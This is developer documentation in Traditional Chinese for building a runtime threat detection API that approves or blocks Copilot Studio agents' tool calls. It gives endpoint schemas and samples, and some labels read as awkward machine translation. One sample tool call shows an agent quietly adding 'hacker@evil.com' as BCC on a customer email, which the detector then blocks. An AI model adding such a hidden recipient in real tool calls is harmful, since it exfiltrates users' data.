共用方式為

為 Copilot Studio 代理程式建置執行階段威脅偵測系統

組織可以透過將 Copilot Studio 代理程式連接到執行階段威脅偵測系統來為其 Copilot Studio 代理程式新增一層安全性。 連線後，代理程式會在執行階段呼叫此系統。 代理程式會向系統提供資料，以便系統可以判斷代理程式計劃呼叫的工具是否合法。 然後，系統會回覆 Copilot Studio，並回應「批准」或「封鎖」，導致代理程式相應地呼叫或跳過該工具。 如需如何將代理程式連線到現有外部威脅偵測系統的詳細資訊，請參閱 啟用 Copilot Studio 自訂代理程式的外部威脅偵測和保護。

本文以開發人員為對象，並說明如何將您自己的威脅偵測功能整合為 Copilot Studio 代理程式的安全性提供者。

整合是以由兩個端點組成的 API 為基礎。 您需要實作的主要端點是 analyze-tool-execution 端點。 您需要將此端點公開為威脅偵測系統的介面。 一旦客戶將您的系統設定為其外部威脅偵測系統，代理程式每次打算叫用工具時都會呼叫此 API。

analyze-tool-execution除了端點之外，您還需要公開第二個端點，稱為 validate。 validate端點用於檢查端點的健全狀況和整備狀態，作為系統設定的一部分。

下列各節將詳細說明每個端點。

發布/驗證

目的： 驗證威脅偵測端點是否可連線且正常運作。 用於初始設定和配置測試。

驗證要求

  • 術： 柱

  • 網址：https://{threat detection endpoint}/validate?api-version=2025-05-01

  • 標頭：

    • 授權：用於 API 驗證的持有人權杖

    • x-ms-correlation-id：用於追蹤的 GUID

  • 身體： 空

驗證回應

200 個 OK 回應範例

{
  "isSuccessful": true,
  "status": "OK"
}

錯誤回應範例

如果發生錯誤 （HTTP 代碼不成功） ，端點會傳回錯誤代碼、訊息和選用診斷。

{
  "errorCode": 5031,
  "message": "Validation failed. Webhook service is temporarily unavailable.",
  "httpStatus": 503,
  "diagnostics": "{\\reason\\:\\Upstream dependency timeout\\}"
}

發布 /分析工具執行

目的： 提交工具執行內容以進行風險評估。 評估工具執行請求並回應是否允許或封鎖工具執行。

analyze-tool-execution 要求

  • 術： 柱

  • 網址：https://{threat detection endpoint}/analyze-tool-execution?api-version=2025-05-01

  • 標頭：

    • 授權：用於 API 驗證的持有人權杖
    • 內容類型： application/json

  • 身體： JSON 物件

範例 analyze-tool-execution 請求

POST https://security.contoso.com/api/agentSecurity/analyze-tool-execution?api-version=2025-05-01
Authorization: Bearer XXX……
x-ms-correlation-id: fbac57f1-3b19-4a2b-b69f-a1f2f2c5cc3c
Content-Type: application/json

{
  "plannerContext": {
    "userMessage": "Send an email to the customer",
    "thought": "User wants to notify customer",
    "chatHistory": [
      {
        "id": "m1",
        "role": "user",
        "content": "Send an email to the customer",
        "timestamp": "2025-05-25T08:00:00Z"
      },
      {
        "id": "m2",
        "role": "assistant",
        "content": "Which customer should I email?",
        "timestamp": "2025-05-25T08:00:01Z"
      },
      {
        "id": "m3",
        "role": "user",
        "content": "The customer is John Doe",
        "timestamp": "2025-05-25T08:00:02Z"
      }
    ],
    "previousToolOutputs": [
      {
        "toolId": "tool-123",
        "toolName": "Get customer email by name",
        "outputs": {
          "name": "email",
          "description": "Customer's email address",
          "type": {
            "$kind": "String"
          },
          "value": "customer@foobar.com"
        },
        "timestamp": "2025-05-25T08:00:02Z"
      }
    ]
  },
  "toolDefinition": {
    "id": "tool-123",
    "type": "PrebuiltToolDefinition",
    "name": "Send email",
    "description": "Sends an email to specified recipients.",
    "inputParameters": [
      {
        "name": "to",
        "description": "Receiver of the email",
        "type": {
          "$kind": "String"
        }
      },
      {
        "name": "bcc",
        "description": "BCC of the email",
        "type": {
          "$kind": "String"
        }
      }
    ],
    "outputParameters": [
      {
        "name": "result",
        "description": "Result",
        "type": {
          "$kind": "String"
        }
      }
    ]
  },
  "inputValues": {
    "to": "customer@foobar.com",
    "bcc": "hacker@evil.com"
  },
  "conversationMetadata": {
    "agent": {
      "id": "agent-guid",
      "tenantId": "tenant-guid",
      "environmentId": "env-guid",
      "isPublished": true
    },
    "user": {
      "id": "user-guid",
      "tenantId": "tenant-guid"
    },
    "trigger": {
      "id": "trigger-guid",
      "schemaName": "trigger-schema"
    },
    "conversationId": "conv-id",
    "planId": "plan-guid",
    "planStepId": "step-1"
  }
}

analyze-tool-execution 回應

200 確定

當請求 有效時，會根據定義的準則評估請求中指定的工具使用，並 允許 或 封鎖。 回應可以包含下列欄位：

  • blockAction （布林值）：是否應該封鎖動作
  • reasonCode （整數，可選）：解釋區塊原因的數值程式碼
  • reason （string， optional）： 人類可讀的解釋
  • diagnostics （物件，選擇性）：追蹤或偵錯的其他詳細資料

允許回應範例

{
  "blockAction": false
}

區塊回應範例

{
  "blockAction": true,
  "reasonCode": 112,
  "reason": "The action was blocked because there is a noncompliant email address in the BCC field.",
  "diagnostics": "{\\flaggedField\\:\\bcc\\,\\flaggedValue\\:\\hacker@evil.com\\}"
}

範例錯誤回應

如果要求 無效，則會傳回錯誤回應，其中包含錯誤碼、訊息、HTTP 狀態和選擇性診斷。

{
  "errorCode": 4001,
  "message": "Missing required field: toolDefinition",
  "httpStatus": 400,
  "diagnostics": "{\\missingField\\:\\toolDefinition\\,\\traceId\\:\\abc-123\\}"
}

要求和回應內文結構參考

下表說明端點的要求和回應主體內使用的各種物件內容。

驗證回應

名稱 Type Required 說明
是成功的 布林值 Yes 指出驗證是否通過。
狀態 字串 Yes 選用狀態訊息或合作夥伴專屬詳細資料。

AnalyzeToolExecution回應

名稱 Type Required 說明
blockAction 布林值 Yes 指出是否應該封鎖動作。
理由代碼 整數 否 選用的數值原因代碼，由合作夥伴決定。
reason 字串 否 可選的人類可讀解釋。
diagnostics 字串 否 用於偵錯或遙測的選擇性自由格式診斷資訊。 必須預先序列化。

錯誤回應

名稱 Type Required 說明
錯誤代碼 整數 Yes 錯誤的數值識別碼 （例如，1001 = 遺漏欄位，2003 = 驗證失敗）。
訊息 字串 Yes 人類可讀的錯誤解釋。
httpStatus 整數 Yes 合作夥伴傳回的 HTTP 狀態碼。
diagnostics 字串 否 用於偵錯或遙測的選擇性自由格式診斷資訊。 必須預先序列化。

評估請求

名稱 Type Required 說明
規劃器上下文 規劃器內容 Yes 規劃工具內容資料。
tool定義 工具定義 Yes 工具定義詳細資料。
輸入值 JSON 物件 Yes 提供給工具的鍵值組字典。
conversation中繼資料 對話中繼資料 Yes 有關對話內容、使用者和計劃追蹤的元資料。

規劃器內容

名稱 Type Required 說明
使用者訊息 字串 Yes 客服專員傳送的原始訊息。
想法 字串 否 規劃師解釋為什麼選擇這個工具。
聊天歷史 聊天訊息[] 否 最近與使用者交換的聊天訊息清單。
上一頁工具輸出 工具執行輸出[] 否 最近的工具輸出清單。

聊天訊息

名稱 Type Required 說明
識別碼 字串 Yes 交談中此訊息的唯一識別碼。
角色 字串 Yes 訊息來源 （例如，使用者、助理）。
內容 字串 Yes 訊息文字。
時間戳記 string （日期-時間） 否 ISO 8601 時間戳記，指出訊息的傳送時間。

工具執行輸出

名稱 Type Required 說明
工具標識 字串 Yes 交談中此訊息的唯一識別碼。
工具名稱 字串 Yes 工具的名稱。
輸出 執行輸出[] Yes 工具執行輸出清單。
時間戳記 string （日期-時間） 否 ISO 8601 時間戳記，指示工具執行何時完成。

執行輸出

名稱 Type Required 說明
名稱 字串 Yes 輸出參數的名稱。
描述 字串 否 輸出值的說明。
型別 物件 否 輸出的資料類型。
value JSON 資料值 Yes 輸出值。

工具定義

名稱 Type Required 說明
識別碼 字串 Yes 工具的唯一識別碼。
型別 字串 Yes 指定規劃工具中使用的工具類型。
名稱 字串 Yes 工具的人類可讀名稱。
描述 字串 Yes 工具功能摘要。
輸入參數 工具輸入[] 否 工具的輸入參數。
輸出參數 工具輸出[] 否 工具執行後傳回的輸出參數。

工具輸入

名稱 Type Required 說明
名稱 字串 Yes 輸入參數的名稱。
描述 字串 否 此輸入參數的預期值說明。
型別 JSON 物件 否 輸入參數的資料類型。

工具輸出

名稱 Type Required 說明
名稱 字串 Yes 輸出參數的名稱。
描述 字串 否 輸出值的說明。
型別 JSON 物件 否 輸出值的類型。

對話中繼資料

名稱 Type Required 說明
Agent 代理程式內容 Yes 客服專員內容資訊。
使用者 使用者內容 否 有關使用者與代理程式互動的資訊。
觸發 觸發內容 否 有關觸發規劃器執行的原因的資訊。
對話ID 字串 Yes 進行中交談的識別碼。
planId 字串 否 用來滿足使用者要求的方案識別碼。
planStepId 字串 否 在與此工具執行相對應的計劃中執行。
parentAgentComponentId 字串 否 父代理程式元件的 ID。

代理程式內容

名稱 Type Required 說明
識別碼 字串 Yes 代理程式的 ID。
tenantId 字串 Yes 代理人居住的租戶。
environmentId 字串 Yes 發佈代理程式的環境。
版本 字串 否 代理程式版本 （如果為 false，則 isPublished 為選擇性）。
是已發布 布林值 Yes 此執行環境定義是否為已發佈版本。

使用者內容

名稱 Type Required 說明
識別碼 字串 否 使用者的 Microsoft Entra 物件識別碼。
tenantId 字串 否 使用者的租用戶識別碼。

TriggerContext

名稱 Type Required 說明
識別碼 字串 否 觸發規劃器的觸發程式 ID。
schemaName 字串 否 觸發規劃器的觸發程序結構描述的名稱。

Authentication

您開發的整合應該使用 Microsoft Entra ID 驗證。 請遵循 整合開發人員建置的應用程式中的指示。

要執行的步驟包括下列項目：

  • 在租用戶中為您的資源建立應用程式註冊。
  • 公開 Web API 的範圍。 公開的範圍必須是客戶呼叫之資源的基底 URL。 例如，如果 API URL 是 https://security.contoso.com/api/threatdetection，則公開的範圍必須是 https://security.contoso.com。
  • 視您實作服務的方式而定，您需要實作授權邏輯並驗證傳入權杖。 您需要記錄客戶必須如何授權其應用程式。 有多種方法可以做到這一點，例如，使用應用程式 ID 的允許清單或基於角色的存取控制 （RBAC）。

回應時間需求

代理程式預期威脅偵測系統會在不到 1,000 毫秒的時間內做出回應。 您應該確保您的端點在此時間範圍內回覆呼叫。 如果您的系統未及時回應，代理程式會像您的回應為「允許」一樣，並叫用該工具。

API 版本控制

在請求中，API 版本是透過 api-version 查詢參數 （例如 api-version=2025-05-01）。 您的實作應該容忍其他非預期的欄位，而且如果未來新增新值，則不應失敗。 合作夥伴不應驗證 API 版本，因為目前所有版本都被視為非中斷版本。 合作夥伴應該追蹤 API 版本，但不要在看到新版本時失敗要求。

  • Last updated on